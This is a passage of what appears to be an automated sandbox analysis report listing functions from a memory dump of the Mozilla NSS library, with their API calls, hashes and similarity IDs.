Part of subcall function 6C9B89E0: memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
Part of subcall function 6C9B89E0: PR_Unlock.NSS3(?), ref: 6C9B8A35

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: f71742788f087a1e4e3bab703cedc7c6e87f6b49d7a7e6a9e8889196a22a3bb3
Instruction ID: 5832218ffe671adefde00b4cbce7b90cc1f5fd9c3d5b7efd973eab28aafc3720
Opcode Fuzzy Hash: f71742788f087a1e4e3bab703cedc7c6e87f6b49d7a7e6a9e8889196a22a3bb3
Instruction Fuzzy Hash: D051A5B5E002015FEB019F64EC81AAB37ACAF3921CF151064EC1997B12EB31ED5997A3

Function 6C996E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C996ED8
sqlite3_value_text.NSS3(?,?), ref: 6C996EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C996FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C996FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C996FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C997010
sqlite3_value_blob.NSS3(?,?), ref: 6C99701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C997052

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 517ce99e8b4a276e41b7f0fa9f65525de97f2dd08032e9fc89b0111b0162bfa3
Instruction ID: 155ba59e4d223eb1b238344cb213e82c9dcba32d05c574a66767f936f3459f10
Opcode Fuzzy Hash: 517ce99e8b4a276e41b7f0fa9f65525de97f2dd08032e9fc89b0111b0162bfa3
Instruction Fuzzy Hash: 8861B3B1E042098BDB40CFA5C9007EEB7B6AF55308F1C4169D416ABB51EB36DD25CBA0

Function 6CA08F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CA07313), ref: 6CA08FBB

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CA07313), ref: 6CA09012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA0903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA0909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA090DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA090F1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CA07313), ref: 6CA0906B

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CA07313), ref: 6CA09128

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 31ab04efbb63997c0227194febaaa84ae4d3fbff837919eeb274c7a598f81e8f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 2B519571B002018FEB509F79EE84B26B3F9AF4439CF194029E915D7B52E772E884CB91

Function 6C9B9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C9C0715), ref: 6C9B8859
Part of subcall function 6C9B8850: PR_NewLock.NSS3 ref: 6C9B8874
Part of subcall function 6C9B8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C9B888D

PR_NewLock.NSS3 ref: 6C9B9CAD

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

TlsGetValue.KERNEL32 ref: 6C9B9CE8
EnterCriticalSection.KERNEL32(?,?,6C9BECEC,6C9C2FCD,00000000,?,6C9C2FCD,?), ref: 6C9B9D01
TlsGetValue.KERNEL32(?,?,?,6C9BECEC,6C9C2FCD,00000000,?,6C9C2FCD,?), ref: 6C9B9D38
EnterCriticalSection.KERNEL32(?,?,6C9BECEC,6C9C2FCD,00000000,?,6C9C2FCD,?), ref: 6C9B9D4D
PR_Unlock.NSS3 ref: 6C9B9D70
PR_Unlock.NSS3 ref: 6C9B9DC3
PR_NewLock.NSS3 ref: 6C9B9DDD

Part of subcall function 6C9B88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8906
Part of subcall function 6C9B88D0: EnterCriticalSection.KERNEL32(?), ref: 6C9B891A
Part of subcall function 6C9B88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C9B894A
Part of subcall function 6C9B88D0: calloc.MOZGLUE(00000001,6C9C072D,00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8959
Part of subcall function 6C9B88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8993
Part of subcall function 6C9B88D0: PR_Unlock.NSS3(?), ref: 6C9B89AF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: cb828e663fb69515d01520c5394282d21c7495a997caaa0f18daaa6387ffc9b1
Instruction ID: f8edb5f734599fab96b59d83f3517a3919a9a010e81d8392052d011eb1fe34c5
Opcode Fuzzy Hash: cb828e663fb69515d01520c5394282d21c7495a997caaa0f18daaa6387ffc9b1
Instruction Fuzzy Hash: 90518474A14706AFDB00EF69C58465BBBF4BF65348F16852CE858EBB10DB30E884CB91

Function 6CAB9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAB9EC0
EnterCriticalSection.KERNEL32(?), ref: 6CAB9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB9F73
EnterCriticalSection.KERNEL32(?), ref: 6CAB9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CAB9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CABA01D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 6f01c2097cf4cf8210d755d9e40900cc44105923f45ab6831da09d5533f239f0
Instruction ID: 24a1fc283d4035995b5ebc200dec349b528f02992890d94cc4e32f85be549e65
Opcode Fuzzy Hash: 6f01c2097cf4cf8210d755d9e40900cc44105923f45ab6831da09d5533f239f0
Instruction Fuzzy Hash: 9751A0B2800601CBCB20DF36D68464AB7F8FF18319F19856AD85967F12E735E8C9CB91

Function 6C9E88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9E88FC

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C9E8913

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CACD864,?), ref: 6C9E8947

Part of subcall function 6C9FE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9FE245
Part of subcall function 6C9FE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9FE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C9E895B
DER_GetInteger_Util.NSS3(?), ref: 6C9E8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9E8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9E89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C9E8A12

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: a2e444d7c9d845699649becccfb33ec5c6593f8f0d8cf267b07792a6f46973d8
Instruction ID: be96034bc6b43c490067fb80e7288aac74fd6ba0416ea13d33fdada77dd7e3e3
Opcode Fuzzy Hash: a2e444d7c9d845699649becccfb33ec5c6593f8f0d8cf267b07792a6f46973d8
Instruction Fuzzy Hash: C0319BB1E0420053F71A46BDAC417AA329C9FB835CF240737D929D7B81FB32C44A8287

Function 6C9C4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9C4E90
EnterCriticalSection.KERNEL32 ref: 6C9C4EA9
TlsGetValue.KERNEL32 ref: 6C9C4EC6
EnterCriticalSection.KERNEL32 ref: 6C9C4EDF
PL_HashTableLookup.NSS3 ref: 6C9C4EF8
PR_Unlock.NSS3 ref: 6C9C4F05
PR_Now.NSS3 ref: 6C9C4F13
PR_Unlock.NSS3 ref: 6C9C4F3A

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 6c37aaf9351c5c8026930a8f872608a43fcaa9c4d14c2ecfb858271b16cc23e5
Instruction ID: 4d9c2d5da29ae40cc996e974c587c78bc3043399221b6d1bd1c8cac105f01647
Opcode Fuzzy Hash: 6c37aaf9351c5c8026930a8f872608a43fcaa9c4d14c2ecfb858271b16cc23e5
Instruction Fuzzy Hash: 594149B4A006058FCB04EF69D5848AABBF4FF49314B05C569EC599B710EB30E895CF92

Function 6C9ADCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C9ADCFA

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C9ADD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C9ADD62
CERT_DestroyCertificate.NSS3(?), ref: 6C9ADD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9ADD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C9ADD8F

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

CERT_DestroyCertificate.NSS3(?), ref: 6C9ADD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C9ADDB7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: eb7e0cdd3bcb5c0932685915d9e44e91c3e43befd23a7ad6ee1f715002841193
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 81218CB6E012159BEB019EE4DC4199EB7B8BF25318F150464EC18A7B11F732E9168BE2

Function 6C9EF820 Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 6C9EAD50: free.MOZGLUE(8955CCCC,?,6C9BB1EE,2404110F,?,?), ref: 6C9EAD7C
Part of subcall function 6C9EAD50: free.MOZGLUE(565753E5,?,6C9BB1EE,2404110F,?,?), ref: 6C9EADAB

free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 6b78471e0bbfa6b776b0290a6e5dbe9021e5398c81d16dfca3cbfb277d9c7b0c
Instruction ID: 54d2f62a3b4d5a9c4065e432bbd52a0aed14a1b52a385973baaf923aba051615
Opcode Fuzzy Hash: 6b78471e0bbfa6b776b0290a6e5dbe9021e5398c81d16dfca3cbfb277d9c7b0c
Instruction Fuzzy Hash: 5021BDB66007069BEB21EF66E808B9737BCBF5974CF004429E52B83A00E735F116CB91

Function 6CA35F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35F72

Part of subcall function 6C99ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C99ED8F
Part of subcall function 6C99ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C99ED9E
Part of subcall function 6C99ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C99EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FCC
free.MOZGLUE(?,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FF4
free.MOZGLUE(?,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36036

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 97e36e614dcf1e7bf322fb40c6d7f06269bc8b72956c7a78e45fded89ea35d5f
Instruction ID: e5bb2a3f0f9974c8760fc1b74a6c89643bcdc6b409ad08e49e8118ac920cc98a
Opcode Fuzzy Hash: 97e36e614dcf1e7bf322fb40c6d7f06269bc8b72956c7a78e45fded89ea35d5f
Instruction Fuzzy Hash: FA2138F1604B019BEB209F75AC19BD376A8BB5170CF184828E46EC7640EB3AF059CB91

Function 6C9A3810 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6C9FFD30,6CB00544,00000000,?,?,6C9B7645), ref: 6C9A3829

Part of subcall function 6C98ACC0: memset.VCRUNTIME140(00000000,00000000,00000004), ref: 6C98AD48

PR_NewLock.NSS3(?,?,?,?,?,6C9B7645), ref: 6C9A383A

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6C9FFD30,6CB00544,00000000,?,?,?,?,?,6C9B7645), ref: 6C9A385D
PR_NewLock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C9B7645), ref: 6C9A386E

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PL_HashTableDestroy.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C9B7645), ref: 6C9A3882
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6C9B7645), ref: 6C9A389B
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C9B7645), ref: 6C9A38B4
